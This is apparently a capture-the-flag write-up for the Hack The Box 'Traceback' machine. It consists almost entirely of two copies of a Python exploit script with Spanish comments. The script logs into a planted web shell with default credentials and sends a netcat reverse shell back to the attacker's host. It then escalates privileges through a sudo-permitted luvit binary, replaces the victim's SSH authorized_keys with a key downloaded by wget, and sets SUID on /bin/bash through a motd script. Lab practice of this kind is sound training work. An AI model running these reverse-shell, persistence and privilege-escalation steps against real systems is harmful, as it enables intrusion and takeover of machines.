Hackthebox Traceback Writeup (OSCP Style)

#!/usr/bin/env python3
#Author: Intrusionz3r0 
import requests,time,threading,sys,signal
from pwn import *

#Variables Globales 
LPORT=1234

def handler(key,frame):
	print("Adios!!")
	sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)

def getShell(LHOST):

	url = "http://traceback.htb/smevk.php" #Asignamos la url.
	s = requests.session() #Guardamos la sesion.

	p1 = log.progress("Login") 
	data1={ # definimos la data.
		"uname":"admin",
		"pass":"admin",
		"login":"Login"
	}
	p1.status("Ingresando credenciales.")
	time.sleep(4)
	r1 = s.post(url,data=data1) #Enviamos la data para poder loguearnos en el la webshell.
	p1.success("Logueado correctamente.")

	p2 = log.progress("Shell")
	data2={ #Asignamos la data dos para poder enviarnos la revere shell.
		"a":"Console",
		"c":"/var/www/html",
		"p1":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f".format(LHOST,LPORT),
		"p2":"",
		"p3":"",
		"charset":"UTF-8"
	}
	p2.status("Enviando reverse shell, por favor espere.")
	time.sleep(2)
	try:
		r2 = s.post(url,data=data2,timeout=10) #Enviamos la data para obtener una reverse shell.
	except requests.exceptions.Timeout:
		p2.success("Estamos dentro del sistema.")

if __name__ == "__main__":

	if(len(sys.argv) != 2): #Verifico que los argumentos que se le pasen al script sean solo 2 (nombre del script,LHOST)
		log.info("Uso: python {} <LHOST> ; ssh sysadmin@traceback.htb 'bash -p'".format(sys.argv[0]))
		sys.exit(0)

	LHOST = sys.argv[1]

	shell = listen(LPORT,timeout=20)
	try:
		threading.Thread(target=getShell(LHOST)).start() #Ejecuto en hilo el método getShell()
		threading.Thread(target=upServer).start() #De igual manera aquí.
	except Exception as e:
		log.error(str(e))

	if not (shell.sock is None): # Si recibimos una conexión entonces invocamos al método escalarRoot()
		escalarRoot(LHOST)

def escalarRoot(LHOST):
	p3 = log.progress("Root")
	p3.status("Escalando de webmin a sysadmin.")
	shell.sendline(""" sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')" """) # Me convierto en el usuario sysadmin.
	shell.sendline("cd ~/.ssh") #Voy al directorio .ssh del usuario sysadmin.
	time.sleep(2)
	p3.status("Sobreescribiendo clave ssh.")
	shell.sendline("wget http://{}:8000/id_rsa.pub -O authorized_keys".format(LHOST)) #Descargo mi clave publica ssh de mi servidor.
	time.sleep(2)
	os.system("ps -aux | grep  'SimpleHTTPServer' | head -n 1 | awk '{print $2}' | xargs kill") #Mato el proceso del servidor.
	p3.status("Asignando SUID a /bin/bash.")
	time.sleep(3)
	shell.sendline(""" cd /etc/update-motd.d && echo "chmod u+s /bin/bash" >> 00-header """) #Asigno el SUID al binario /bin/bash.
	p3.success("Somos root!!")
	sys.exit(0) #Termino la ejecución del programa.

def upServer():
	os.system("cd ~/.ssh && python -m SimpleHTTPServer 8000 &")

#!/usr/bin/env python3
#Author: Intrusionz3r0

import requests,time,threading,sys,signal
from pwn import *

#Variables Globales

LPORT=1234

def handler(key,frame):
	print("Adios!!")
	sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)

def getShell(LHOST):

	url = "http://traceback.htb/smevk.php"
	s = requests.session()

	p1 = log.progress("Login")
	data1={
		"uname":"admin",
		"pass":"admin",
		"login":"Login"
	}
	p1.status("Ingresando credenciales.")
	time.sleep(4)
	r1 = s.post(url,data=data1)
	p1.success("Logueado correctamente.")

	p2 = log.progress("Shell")
	data2={
		"a":"Console",
		"c":"/var/www/html",
		"p1":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f".format(LHOST,LPORT),
		"p2":"",
		"p3":"",
		"charset":"UTF-8"
	}
	p2.status("Enviando reverse shell, por favor espere.")
	time.sleep(2)
	try:
		r2 = s.post(url,data=data2,timeout=10)
	except requests.exceptions.Timeout:
		p2.success("Estamos dentro del sistema.")


def escalarRoot(LHOST):
	p3 = log.progress("Root")
	p3.status("Escalando de webmin a sysadmin.")
	shell.sendline(""" sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')" """)
	shell.sendline("cd ~/.ssh")
	time.sleep(2)
	p3.status("Sobreescribiendo clave ssh.")
	shell.sendline("wget http://{}:8000/id_rsa.pub -O authorized_keys".format(LHOST))
	time.sleep(2)
	os.system("ps -aux | grep  'SimpleHTTPServer' | head -n 1 | awk '{print $2}' | xargs kill")
	p3.status("Asignando SUID a /bin/bash.")
	time.sleep(3)
	shell.sendline(""" cd /etc/update-motd.d && echo "chmod u+s /bin/bash" >> 00-header """)
	p3.success("Somos root!!")
	sys.exit(0)

def upServer():
	os.system("cd ~/.ssh && python -m SimpleHTTPServer 8000 &")

if __name__ == "__main__":

	if(len(sys.argv) != 2):
		log.info("Uso: python {} <LHOST> ; ssh sysadmin@traceback.htb 'bash -p'".format(sys.argv[0]))
		sys.exit(0)

	LHOST = sys.argv[1]

	shell = listen(LPORT,timeout=20)
	try:
		threading.Thread(target=getShell(LHOST)).start()
		threading.Thread(target=upServer).start()
	except Exception as e:
		log.error(str(e))

	if not (shell.sock is None):
		escalarRoot(LHOST)